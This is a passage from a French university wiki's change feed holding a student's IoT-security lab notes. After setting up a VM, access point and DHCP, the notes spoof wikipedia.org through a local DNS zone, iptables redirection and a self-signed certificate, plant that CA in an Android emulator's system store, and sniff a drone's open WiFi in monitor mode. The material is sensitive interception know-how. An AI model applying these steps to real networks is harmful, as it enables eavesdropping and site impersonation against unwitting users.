&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Wireshark.png|gauche|vignette|869x869px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark.png&amp;diff=10944</id>
		<title>Fichier:Wireshark.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark.png&amp;diff=10944"/>
		<updated>2025-12-16T17:11:00Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;img&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10940</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10940"/>
		<updated>2025-12-16T15:24:42Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Installation de l'android */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
